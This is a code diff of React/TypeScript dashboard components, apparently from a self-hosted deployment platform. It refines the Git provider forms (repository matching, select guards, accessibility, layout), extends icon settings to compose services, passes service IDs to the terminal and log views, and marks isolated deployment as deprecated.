@@ -288,7 +309,8 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
<CheckIcon
className={cn(
"ml-auto h-4 w-4",
repo.name === field.value.repo
repo.name === field.value.repo &&
repo.owner.login === field.value.owner
? "opacity-100"
: "opacity-0",
)}
@@ -320,22 +342,25 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
<Button
variant="outline"
className={cn(
" w-full justify-between bg-input!",
" w-full justify-between",
!field.value && "text-muted-foreground",
)}
>
{status === "pending" && fetchStatus === "fetching"
? "Loading...."
: field.value
? branches?.find(
? (branches?.find(
(branch) => branch.name === field.value,
)?.name
)?.name ?? field.value)
: "Select branch"}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent className="p-0" align="start">
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command>
<CommandInput
placeholder="Search branch..."
@@ -363,7 +388,7 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
form.setValue("branch", branch.name);
}}
>
{branch.name}
<span className="truncate">{branch.name}</span>
<CheckIcon
className={cn(
"ml-auto h-4 w-4",
@@ -419,8 +444,12 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
</TooltipProvider>
</div>
<Select
onValueChange={field.onChange}
defaultValue={field.value}
onValueChange={(value) => {
if (!value) {
return;
}
field.onChange(value);
}}
value={field.value}
>
<FormControl>
@@ -468,14 +497,18 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
className="flex items-center gap-1"
>
{path}
<X
className="size-3 cursor-pointer hover:text-destructive"
<button
type="button"
aria-label="Remove watch path"
className="inline-flex items-center focus-visible:ring-2"
onClick={() => {
const newPaths = [...(field.value || [])];
newPaths.splice(index, 1);
field.onChange(newPaths);
}}
/>
>
<X className="size-3 cursor-pointer hover:text-destructive" />
</button>
</Badge>
))}
</div>
@@ -524,14 +557,14 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
control={form.control}
name="enableSubmodules"
render={({ field }) => (
<FormItem className="flex items-center space-x-2">
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
<FormControl>
<Switch
checked={field.value}
onCheckedChange={field.onChange}
/>
</FormControl>
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
<FormLabel>Enable Submodules</FormLabel>
</FormItem>
)}
/>
@@ -196,6 +196,9 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
<FormLabel>Gitlab Account</FormLabel>
<Select
onValueChange={(value) => {
if (!value) {
return;
}
field.onChange(value);
form.setValue("repository", {
owner: "",
@@ -205,7 +208,6 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
});
form.setValue("branch", "");
}}
defaultValue={field.value}
value={field.value}
>
<FormControl>
@@ -254,7 +256,7 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
<Button
variant="outline"
className={cn(
"w-full justify-between bg-input!",
"w-full justify-between",
!field.value && "text-muted-foreground",
)}
>
@@ -270,7 +272,10 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent className="p-0" align="start">
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command>
<CommandInput
placeholder="Search repository..."
@@ -308,8 +313,10 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
form.setValue("branch", "");
}}
>
<span className="flex items-center gap-2">
<span>{repo.name}</span>
<span className="flex min-w-0 items-center gap-2">
<span className="truncate">
{repo.name}
</span>
<span className="text-muted-foreground text-xs">
{repo.owner.username}
</span>
@@ -351,7 +358,7 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
<Button
variant="outline"
className={cn(
" w-full justify-between bg-input!",
" w-full justify-between",
!field.value && "text-muted-foreground",
)}
>
@@ -366,7 +373,10 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent className="p-0" align="start">
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command>
<CommandInput
placeholder="Search branch..."
@@ -394,7 +404,7 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
form.setValue("branch", branch.name);
}}
>
{branch.name}
<span className="truncate">{branch.name}</span>
<CheckIcon
className={cn(
"ml-auto h-4 w-4",
@@ -457,14 +467,18 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
className="flex items-center gap-1"
>
{path}
<X
className="size-3 cursor-pointer hover:text-destructive"
<button
type="button"
aria-label="Remove watch path"
className="inline-flex items-center focus-visible:ring-2"
onClick={() => {
const newPaths = [...(field.value || [])];
newPaths.splice(index, 1);
field.onChange(newPaths);
}}
/>
>
<X className="size-3 cursor-pointer hover:text-destructive" />
</button>
</Badge>
))}
</div>
@@ -511,14 +525,14 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
control={form.control}
name="enableSubmodules"
render={({ field }) => (
<FormItem className="flex items-center space-x-2">
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
<FormControl>
<Switch
checked={field.value}
onCheckedChange={field.onChange}
/>
</FormControl>
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
<FormLabel>Enable Submodules</FormLabel>
</FormItem>
)}
/>
@@ -1,4 +1,3 @@
import { Tooltip as TooltipPrimitive } from "radix-ui";
import {
Ban,
CheckCircle2,
@@ -8,6 +7,7 @@ import {
Terminal,
} from "lucide-react";
import { useRouter } from "next/router";
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { toast } from "sonner";
import { ShowBuildChooseForm } from "@/components/dashboard/application/build/show";
import { ShowProviderForm } from "@/components/dashboard/application/general/generic/show";
@@ -271,6 +271,7 @@ export const ShowGeneralApplication = ({ applicationId }: Props) => {
<DockerTerminalModal
appName={data?.appName || ""}
serverId={data?.serverId || ""}
serviceId={applicationId}
>
<Button
variant="outline"
@@ -1,5 +1,5 @@
import DOMPurify from "dompurify";
import { GlobeIcon, Pencil, Search, X } from "lucide-react";
import { CircuitBoard, GlobeIcon, Pencil, Search, X } from "lucide-react";
import { useEffect, useMemo, useState } from "react";
import { toast } from "sonner";
import { Button } from "@/components/ui/button";
@@ -16,7 +16,8 @@ import { type BundledIcon, bundledIcons } from "@/lib/bundled-icons";
import { api } from "@/utils/api";
interface ShowIconSettingsProps {
applicationId: string;
serviceId: string;
serviceType: "application" | "compose";
icon?: string | null;
}
@@ -26,7 +27,8 @@ const svgToDataUrl = (icon: BundledIcon): string => {
};
export const ShowIconSettings = ({
applicationId,
serviceId,
serviceType,
icon,
}: ShowIconSettingsProps) => {
const [open, setOpen] = useState(false);
@@ -48,6 +50,17 @@ export const ShowIconSettings = ({
const utils = api.useUtils();
const { mutateAsync: updateApplication } =
api.application.update.useMutation();
const { mutateAsync: updateCompose } = api.compose.update.useMutation();
const updateIcon = async (newIcon: string | null) => {
if (serviceType === "compose") {
await updateCompose({ composeId: serviceId, icon: newIcon });
await utils.compose.one.invalidate({ composeId: serviceId });
} else {
await updateApplication({ applicationId: serviceId, icon: newIcon });
await utils.application.one.invalidate({ applicationId: serviceId });
}
};
useEffect(() => {
if (open) {
@@ -59,12 +72,8 @@ export const ShowIconSettings = ({
const handleIconSelect = async (selectedIcon: BundledIcon) => {
try {
const dataUrl = svgToDataUrl(selectedIcon);
await updateApplication({
applicationId,
icon: dataUrl,
});
await updateIcon(dataUrl);
toast.success("Icon saved successfully");
await utils.application.one.invalidate({ applicationId });
setOpen(false);
} catch (_error) {
toast.error("Error saving icon");
@@ -73,12 +82,8 @@ export const ShowIconSettings = ({
const handleRemoveIcon = async () => {
try {
await updateApplication({
applicationId,
icon: null,
});
await updateIcon(null);
toast.success("Icon removed");
await utils.application.one.invalidate({ applicationId });
} catch (_error) {
toast.error("Error removing icon");
}
@@ -130,12 +135,8 @@ export const ShowIconSettings = ({
return;
}
try {
await updateApplication({
applicationId,
icon: sanitizedDataUrl,
});
await updateIcon(sanitizedDataUrl);
toast.success("Icon saved!");
await utils.application.one.invalidate({ applicationId });
setOpen(false);
} catch (_error) {
toast.error("Error saving icon");
@@ -147,12 +148,8 @@ export const ShowIconSettings = ({
reader.onload = async (event) => {
const result = event.target?.result as string;
try {
await updateApplication({
applicationId,
icon: result,
});
await updateIcon(result);
toast.success("Icon saved!");
await utils.application.one.invalidate({ applicationId });
setOpen(false);
} catch (_error) {
toast.error("Error saving icon");
@@ -172,9 +169,11 @@ export const ShowIconSettings = ({
// biome-ignore lint/performance/noImgElement: icon is data URL or base64
<img
src={icon}
alt="Application icon"
alt="Service icon"
className="h-8 w-8 object-contain"
/>
) : serviceType === "compose" ? (
<CircuitBoard className="h-6 w-6 text-muted-foreground" />
) : (
<GlobeIcon className="h-6 w-6 text-muted-foreground" />
)}
@@ -50,9 +50,10 @@ export const badgeStateColor = (state: string) => {
interface Props {
appName: string;
serverId?: string;
serviceId?: string;
}
export const ShowDockerLogs = ({ appName, serverId }: Props) => {
export const ShowDockerLogs = ({ appName, serverId, serviceId }: Props) => {
const [containerId, setContainerId] = useState<string | undefined>();
const [option, setOption] = useState<"swarm" | "native">("native");
@@ -182,6 +183,7 @@ export const ShowDockerLogs = ({ appName, serverId }: Props) => {
serverId={serverId || ""}
containerId={containerId || "select-a-container"}
runType={option}
serviceId={serviceId}
/>
</CardContent>
</Card>
@@ -1,4 +1,3 @@
import { Tooltip as TooltipPrimitive } from "radix-ui";
import {
ExternalLink,
FileText,
@@ -9,6 +8,7 @@ import {
RocketIcon,
Trash2,
} from "lucide-react";
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { toast } from "sonner";
import { GithubIcon } from "@/components/icons/data-tools-icons";
import { DateTooltip } from "@/components/shared/date-tooltip";
@@ -531,7 +531,7 @@ export const HandleSchedules = ({ id, scheduleId, scheduleType }: Props) => {
<Button
variant="outline"
className={cn(
"w-full justify-between bg-input!",
"w-full justify-between",
!field.value && "text-muted-foreground",
)}
>
@@ -58,8 +58,12 @@ export const ShowSchedules = ({ id, scheduleType = "application" }: Props) => {
const handleRunManually = async (scheduleId: string) => {
setRunningSchedules((prev) => new Set(prev).add(scheduleId));
try {
await runManually({ scheduleId });
toast.success("Schedule run successfully");
const result = await runManually({ scheduleId });
if (result.status === "error") {
toast.error("Schedule run failed, check the deployment logs");
} else {
toast.success("Schedule run successfully");
}
await refetchSchedules();
} catch {
toast.error("Error running schedule");
@@ -507,11 +507,20 @@ export const HandleVolumeBackups = ({
</SelectTrigger>
</FormControl>
<SelectContent>
{mounts?.map((mount) => (
<SelectItem key={mount.Name} value={mount.Name || ""}>
{mount.Name}
{mounts && mounts.length > 0 ? (
mounts.map((mount) => (
<SelectItem
key={mount.Name}
value={mount.Name || ""}
>
{mount.Name}
</SelectItem>
))
) : (
<SelectItem value="none" disabled>
No volumes found
</SelectItem>
))}
)}
</SelectContent>
</Select>
<FormDescription>
@@ -181,7 +181,7 @@ export const RestoreVolumeBackups = ({ id, type, serverId }: Props) => {
<Button
variant="outline"
className={cn(
"w-full justify-between bg-input!",
"w-full justify-between",
!field.value && "text-muted-foreground",
)}
>
@@ -263,7 +263,7 @@ export const RestoreVolumeBackups = ({ id, type, serverId }: Props) => {
<Button
variant="outline"
className={cn(
"w-full justify-between bg-input!",
"w-full justify-between",
!field.value && "text-muted-foreground",
)}
>
@@ -6,6 +6,7 @@ import { toast } from "sonner";
import { z } from "zod";
import { AlertBlock } from "@/components/shared/alert-block";
import { CodeEditor } from "@/components/shared/code-editor";
import { Badge } from "@/components/ui/badge";
import { Button } from "@/components/ui/button";
import {
Card,
@@ -111,7 +112,10 @@ export const IsolatedDeploymentTab = ({ composeId }: Props) => {
return (
<Card className="bg-background">
<CardHeader>
<CardTitle className="text-xl">Enable Isolated Deployment</CardTitle>
<CardTitle className="text-xl flex items-center gap-2">
Enable Isolated Deployment
<Badge variant="yellow">Deprecated</Badge>
</CardTitle>
<CardDescription>
Configure isolated deployment to the compose file.
<div className="text-sm text-muted-foreground flex flex-col gap-2">
@@ -138,6 +142,11 @@ export const IsolatedDeploymentTab = ({ composeId }: Props) => {
</CardHeader>
<CardContent>
<div className="space-y-4">
<AlertBlock type="warning">
Isolated deployment is deprecated. Use the Networks section above to
attach networks per service and detach them from dokploy-network —
it is declarative and does not break on restarts.
</AlertBlock>
{isError && <AlertBlock type="error">{error?.message}</AlertBlock>}
<Form {...form}>
<form
@@ -55,12 +55,14 @@ interface Props {
appName: string;
serverId?: string;
appType: "stack" | "docker-compose";
serviceId?: string;
}
export const ShowComposeContainers = ({
appName,
appType,
serverId,
serviceId,
}: Props) => {
const { data, isPending, refetch } =
api.docker.getContainersByAppNameMatch.useQuery(
@@ -112,6 +114,7 @@ export const ShowComposeContainers = ({
<TableHead>Name</TableHead>
<TableHead>State</TableHead>
<TableHead>Status</TableHead>
{appType === "stack" && <TableHead>Node</TableHead>}
<TableHead>Container ID</TableHead>
<TableHead className="text-right" />
</TableRow>
@@ -119,9 +122,11 @@ export const ShowComposeContainers = ({
<TableBody>
{data.map((container) => (
<ContainerRow
key={container.containerId}
key={container.name}
container={container}
appType={appType}
serverId={serverId}
serviceId={serviceId}
onActionComplete={() => refetch()}
/>
))}
@@ -140,14 +145,19 @@ interface ContainerRowProps {
name: string;
state: string;
status: string;
node?: string;
};
appType: "stack" | "docker-compose";
serverId?: string;
serviceId?: string;
onActionComplete: () => void;
}
const ContainerRow = ({
container,
appType,
serverId,
serviceId,
onActionComplete,
}: ContainerRowProps) => {
const [logsOpen, setLogsOpen] = useState(false);
@@ -187,7 +197,13 @@ const ContainerRow = ({
variant={
container.state === "running"
? "default"
: container.state === "exited"
: [
"exited",
"pending",
"preparing",
"starting",
"ready",
].includes(container.state)
? "secondary"
: "destructive"
}
@@ -196,94 +212,99 @@ const ContainerRow = ({
</Badge>
</TableCell>
<TableCell>{container.status}</TableCell>
{appType === "stack" && <TableCell>{container.node || "-"}</TableCell>}
<TableCell className="font-mono text-sm text-muted-foreground">
{container.containerId}
{container.containerId || "-"}
</TableCell>
<TableCell className="text-right">
<Dialog open={logsOpen} onOpenChange={setLogsOpen}>
<DropdownMenu>
<DropdownMenuTrigger asChild>
<Button variant="ghost" className="h-8 w-8 p-0">
{actionLoading ? (
<Loader2 className="h-4 w-4 animate-spin" />
) : (
<MoreHorizontal className="h-4 w-4" />
)}
</Button>
</DropdownMenuTrigger>
<DropdownMenuContent align="end">
<DropdownMenuLabel>Actions</DropdownMenuLabel>
<DialogTrigger asChild>
{!container.containerId ? null : (
<Dialog open={logsOpen} onOpenChange={setLogsOpen}>
<DropdownMenu>
<DropdownMenuTrigger asChild>
<Button variant="ghost" className="h-8 w-8 p-0">
{actionLoading ? (
<Loader2 className="h-4 w-4 animate-spin" />
) : (
<MoreHorizontal className="h-4 w-4" />
)}
</Button>
</DropdownMenuTrigger>
<DropdownMenuContent align="end">
<DropdownMenuLabel>Actions</DropdownMenuLabel>
<DialogTrigger asChild>
<DropdownMenuItem
className="cursor-pointer"
onSelect={(e) => e.preventDefault()}
>
View Logs
</DropdownMenuItem>
</DialogTrigger>
<ShowContainerConfig
containerId={container.containerId}
serverId={serverId || ""}
/>
<ShowContainerMounts
containerId={container.containerId}
serverId={serverId || ""}
/>
<ShowContainerNetworks
containerId={container.containerId}
serverId={serverId || ""}
/>
<DockerTerminalModal
containerId={container.containerId}
serverId={serverId || ""}
serviceId={serviceId}
>
Terminal
</DockerTerminalModal>
<DropdownMenuSeparator />
<DropdownMenuItem
className="cursor-pointer"
onSelect={(e) => e.preventDefault()}
disabled={actionLoading !== null}
onClick={() => handleAction("restart", restartMutation)}
>
View Logs
Restart
</DropdownMenuItem>
</DialogTrigger>
<ShowContainerConfig
containerId={container.containerId}
serverId={serverId || ""}
/>
<ShowContainerMounts
containerId={container.containerId}
serverId={serverId || ""}
/>
<ShowContainerNetworks
containerId={container.containerId}
serverId={serverId || ""}
/>
<DockerTerminalModal
containerId={container.containerId}
serverId={serverId || ""}
>
Terminal
</DockerTerminalModal>
<DropdownMenuSeparator />
<DropdownMenuItem
className="cursor-pointer"
disabled={actionLoading !== null}
onClick={() => handleAction("restart", restartMutation)}
>
Restart
</DropdownMenuItem>
<DropdownMenuItem
className="cursor-pointer"
disabled={actionLoading !== null}
onClick={() => handleAction("start", startMutation)}
>
Start
</DropdownMenuItem>
<DropdownMenuItem
className="cursor-pointer"
disabled={actionLoading !== null}
onClick={() => handleAction("stop", stopMutation)}
>
Stop
</DropdownMenuItem>
<DropdownMenuItem
className="cursor-pointer text-red-500 focus:text-red-600"
disabled={actionLoading !== null}
onClick={() => handleAction("kill", killMutation)}
>
Kill
</DropdownMenuItem>
</DropdownMenuContent>
</DropdownMenu>
<DialogContent className="sm:max-w-7xl">
<DialogHeader>
<DialogTitle>View Logs</DialogTitle>
<DialogDescription>Logs for {container.name}</DialogDescription>
</DialogHeader>
<div className="flex flex-col gap-4 pt-2.5">
<DockerLogsId
containerId={container.containerId}
serverId={serverId}
runType="native"
/>
</div>
</DialogContent>
</Dialog>
<DropdownMenuItem
className="cursor-pointer"
disabled={actionLoading !== null}
onClick={() => handleAction("start", startMutation)}
>
Start
</DropdownMenuItem>
<DropdownMenuItem
className="cursor-pointer"
disabled={actionLoading !== null}
onClick={() => handleAction("stop", stopMutation)}
>
Stop
</DropdownMenuItem>
<DropdownMenuItem
className="cursor-pointer text-red-500 focus:text-red-600"
disabled={actionLoading !== null}
onClick={() => handleAction("kill", killMutation)}
>
Kill
</DropdownMenuItem>
</DropdownMenuContent>
</DropdownMenu>
<DialogContent className="sm:max-w-7xl">
<DialogHeader>
<DialogTitle>View Logs</DialogTitle>
<DialogDescription>Logs for {container.name}</DialogDescription>
</DialogHeader>
<div className="flex flex-col gap-4 pt-2.5">
<DockerLogsId
containerId={container.containerId}
serverId={serverId}
runType="native"
serviceId={serviceId}
/>
</div>
</DialogContent>
</Dialog>
)}
</TableCell>
</TableRow>
);
@@ -1,6 +1,6 @@
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { useRouter } from "next/router";
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { toast } from "sonner";
import { DialogAction } from "@/components/shared/dialog-action";
import { Button } from "@/components/ui/button";
@@ -84,19 +84,19 @@ export const ComposeActions = ({ composeId }: Props) => {
)}
{canDeploy && (
<DialogAction
title="Reload Compose"
description="Are you sure you want to reload this compose?"
title="Rebuild Compose"
description="Are you sure you want to rebuild this compose?"
type="default"
onClick={async () => {
await redeploy({
composeId: composeId,
})
.then(() => {
toast.success("Compose reloaded successfully");
toast.success("Compose rebuilt successfully");
refetch();
})
.catch(() => {
toast.error("Error reloading compose");
toast.error("Error rebuilding compose");
});
}}
>
@@ -109,12 +109,14 @@ export const ComposeActions = ({ composeId }: Props) => {
<TooltipTrigger asChild>
<div className="flex items-center">
<RefreshCcw className="size-4 mr-1" />
Reload
Rebuild
</div>
</TooltipTrigger>
<TooltipPrimitive.Portal>
<TooltipContent sideOffset={5} className="z-60">
<p>Reload the compose without rebuilding it</p>
<p>
Rebuilds the compose without downloading the source code
</p>
</TooltipContent>
</TooltipPrimitive.Portal>
</Tooltip>
@@ -206,6 +208,7 @@ export const ComposeActions = ({ composeId }: Props) => {
appName={data?.appName || ""}
serverId={data?.serverId || ""}
appType={data?.composeType || "docker-compose"}
serviceId={data?.composeId}
>
<Button
variant="outline"
@@ -190,6 +190,9 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
<FormLabel>Bitbucket Account</FormLabel>
<Select
onValueChange={(value) => {
if (!value) {
return;
}
field.onChange(value);
form.setValue("repository", {
owner: "",
@@ -198,7 +201,6 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
});
form.setValue("branch", "");
}}
defaultValue={field.value}
value={field.value}
>
<FormControl>
@@ -247,7 +249,7 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
<Button
variant="outline"
className={cn(
"w-full justify-between bg-input!",
"w-full justify-between",
!field.value && "text-muted-foreground",
)}
>
@@ -256,14 +258,19 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
: isLoadingRepositories
? "Loading...."
: (repositories?.find(
(repo) => repo.name === field.value.repo,
(repo) =>
repo.name === field.value.repo &&
repo.owner.username === field.value.owner,
)?.name ?? "Select repository")}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent className="p-0" align="start">
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command>
<CommandInput
placeholder="Search repository..."
@@ -283,7 +290,7 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
<CommandGroup>
{repositories?.map((repo) => (
<CommandItem
value={repo.name}
value={`${repo.owner.username}/${repo.name}`}
key={repo.url}
onSelect={() => {
form.setValue("repository", {
@@ -294,8 +301,8 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", "");
}}
>
<span className="flex items-center gap-2">
<span>{repo.name}</span>
<span className="flex min-w-0 items-center gap-2">
<span className="truncate">{repo.name}</span>
<span className="text-muted-foreground text-xs">
{repo.owner.username}
</span>
@@ -303,7 +310,8 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
<CheckIcon
className={cn(
"ml-auto h-4 w-4",
repo.name === field.value.repo
repo.name === field.value.repo &&
repo.owner.username === field.value.owner
? "opacity-100"
: "opacity-0",
)}
@@ -335,7 +343,7 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
<Button
variant="outline"
className={cn(
" w-full justify-between bg-input!",
" w-full justify-between",
!field.value && "text-muted-foreground",
)}
>
@@ -350,7 +358,10 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent className="p-0" align="start">
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command>
<CommandInput
placeholder="Search branch..."
@@ -378,7 +389,7 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", branch.name);
}}
>
{branch.name}
<span className="truncate">{branch.name}</span>
<CheckIcon
className={cn(
"ml-auto h-4 w-4",
@@ -440,14 +451,18 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
{field.value?.map((path, index) => (
<Badge key={index} variant="secondary">
{path}
<X
className="ml-1 size-3 cursor-pointer"
<button
type="button"
aria-label="Remove watch path"
className="inline-flex items-center focus-visible:ring-2"
onClick={() => {
const newPaths = [...(field.value || [])];
newPaths.splice(index, 1);
form.setValue("watchPaths", newPaths);
}}
/>
>
<X className="ml-1 size-3 cursor-pointer" />
</button>
</Badge>
))}
</div>
@@ -495,14 +510,14 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
control={form.control}
name="enableSubmodules"
render={({ field }) => (
<FormItem className="flex items-center space-x-2">
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
<FormControl>
<Switch
checked={field.value}
onCheckedChange={field.onChange}
/>
</FormControl>
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
<FormLabel>Enable Submodules</FormLabel>
</FormItem>
)}
/>
@@ -251,14 +251,18 @@ export const SaveGitProviderCompose = ({ composeId }: Props) => {
{field.value?.map((path, index) => (
<Badge key={index} variant="secondary">
{path}
<X
className="ml-1 size-3 cursor-pointer"
<button
type="button"
aria-label="Remove watch path"
className="inline-flex items-center focus-visible:ring-2"
onClick={() => {
const newPaths = [...(field.value || [])];
newPaths.splice(index, 1);
form.setValue("watchPaths", newPaths);
}}
/>
>
<X className="ml-1 size-3 cursor-pointer" />
</button>
</Badge>
))}
</div>
@@ -306,14 +310,14 @@ export const SaveGitProviderCompose = ({ composeId }: Props) => {
control={form.control}
name="enableSubmodules"
render={({ field }) => (
<FormItem className="flex items-center space-x-2">
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
<FormControl>
<Switch
checked={field.value}
onCheckedChange={field.onChange}
/>
</FormControl>
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
<FormLabel>Enable Submodules</FormLabel>
</FormItem>
)}
/>
@@ -188,6 +188,9 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
<FormLabel>Gitea Account</FormLabel>
<Select
onValueChange={(value) => {
if (!value) {
return;
}
field.onChange(value);
form.setValue("repository", {
owner: "",
@@ -195,7 +198,6 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
});
form.setValue("branch", "");
}}
defaultValue={field.value}
value={field.value}
>
<FormControl>
@@ -244,7 +246,7 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
<Button
variant="outline"
className={cn(
"w-full justify-between bg-input!",
"w-full justify-between",
!field.value && "text-muted-foreground",
)}
>
@@ -253,13 +255,18 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
: isLoadingRepositories
? "Loading...."
: (repositories?.find(
(repo) => repo.name === field.value.repo,
(repo) =>
repo.name === field.value.repo &&
repo.owner.username === field.value.owner,
)?.name ?? "Select repository")}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent className="p-0" align="start">
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command>
<CommandInput
placeholder="Search repository..."
@@ -280,7 +287,7 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
{repositories?.map((repo) => (
<CommandItem
key={repo.url}
value={repo.name}
value={`${repo.owner.username}/${repo.name}`}
onSelect={() => {
form.setValue("repository", {
owner: repo.owner.username,
@@ -289,8 +296,8 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", "");
}}
>
<span className="flex items-center gap-2">
<span>{repo.name}</span>
<span className="flex min-w-0 items-center gap-2">
<span className="truncate">{repo.name}</span>
<span className="text-muted-foreground text-xs">
{repo.owner.username}
</span>
@@ -298,7 +305,8 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
<CheckIcon
className={cn(
"ml-auto h-4 w-4",
repo.name === field.value.repo
repo.name === field.value.repo &&
repo.owner.username === field.value.owner
? "opacity-100"
: "opacity-0",
)}
@@ -331,7 +339,7 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
<Button
variant="outline"
className={cn(
"w-full justify-between bg-input!",
"w-full justify-between",
!field.value && "text-muted-foreground",
)}
>
@@ -346,7 +354,10 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent className="p-0" align="start">
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command>
<CommandInput
placeholder="Search branches..."
@@ -363,8 +374,10 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", branch.name)
}
>
<span className="flex items-center gap-2">
{branch.name}
<span className="flex min-w-0 items-center gap-2">
<span className="truncate">
{branch.name}
</span>
</span>
<CheckIcon
className={cn(
@@ -429,14 +442,18 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
{field.value?.map((path, index) => (
<Badge key={index} variant="secondary">
{path}
<X
className="ml-1 size-3 cursor-pointer"
<button
type="button"
aria-label="Remove watch path"
className="inline-flex items-center focus-visible:ring-2"
onClick={() => {
const newPaths = [...(field.value || [])];
newPaths.splice(index, 1);
form.setValue("watchPaths", newPaths);
}}
/>
>
<X className="ml-1 size-3 cursor-pointer" />
</button>
</Badge>
))}
</div>
@@ -484,14 +501,14 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
control={form.control}
name="enableSubmodules"
render={({ field }) => (
<FormItem className="flex items-center space-x-2">
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
<FormControl>
<Switch
checked={field.value}
onCheckedChange={field.onChange}
/>
</FormControl>
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
<FormLabel>Enable Submodules</FormLabel>
</FormItem>
)}
/>
@@ -47,6 +47,7 @@ import {
} from "@/components/ui/tooltip";
import { cn } from "@/lib/utils";
import { api } from "@/utils/api";
import { DEFAULT_GITHUB_URL } from "@/utils/github-utils";
const GithubProviderSchema = z.object({
composePath: z.string().min(1),
@@ -98,6 +99,11 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
const repository = form.watch("repository");
const githubId = form.watch("githubId");
const triggerType = form.watch("triggerType");
// Enterprise repositories do not live on github.com.
const providerUrl =
githubProviders?.find((provider) => provider.githubId === githubId)
?.githubUrl ?? DEFAULT_GITHUB_URL;
const { data: repositories, isPending: isLoadingRepositories } =
api.github.getGithubRepositories.useQuery(
{
@@ -138,7 +144,7 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
enableSubmodules: data.enableSubmodules ?? false,
});
}
}, [form.reset, data?.composeId, form]);
}, [form.reset, data]);
const onSubmit = async (data: GithubProvider) => {
await mutateAsync({
@@ -179,6 +185,9 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
<FormLabel>Github Account</FormLabel>
<Select
onValueChange={(value) => {
if (!value) {
return;
}
field.onChange(value);
form.setValue("repository", {
owner: "",
@@ -186,7 +195,6 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
});
form.setValue("branch", "");
}}
defaultValue={field.value}
value={field.value}
>
<FormControl>
@@ -218,7 +226,7 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
<FormLabel>Repository</FormLabel>
{field.value.owner && field.value.repo && (
<Link
href={`https://github.com/${field.value.owner}/${field.value.repo}`}
href={`${providerUrl}/${field.value.owner}/${field.value.repo}`}
target="_blank"
rel="noopener noreferrer"
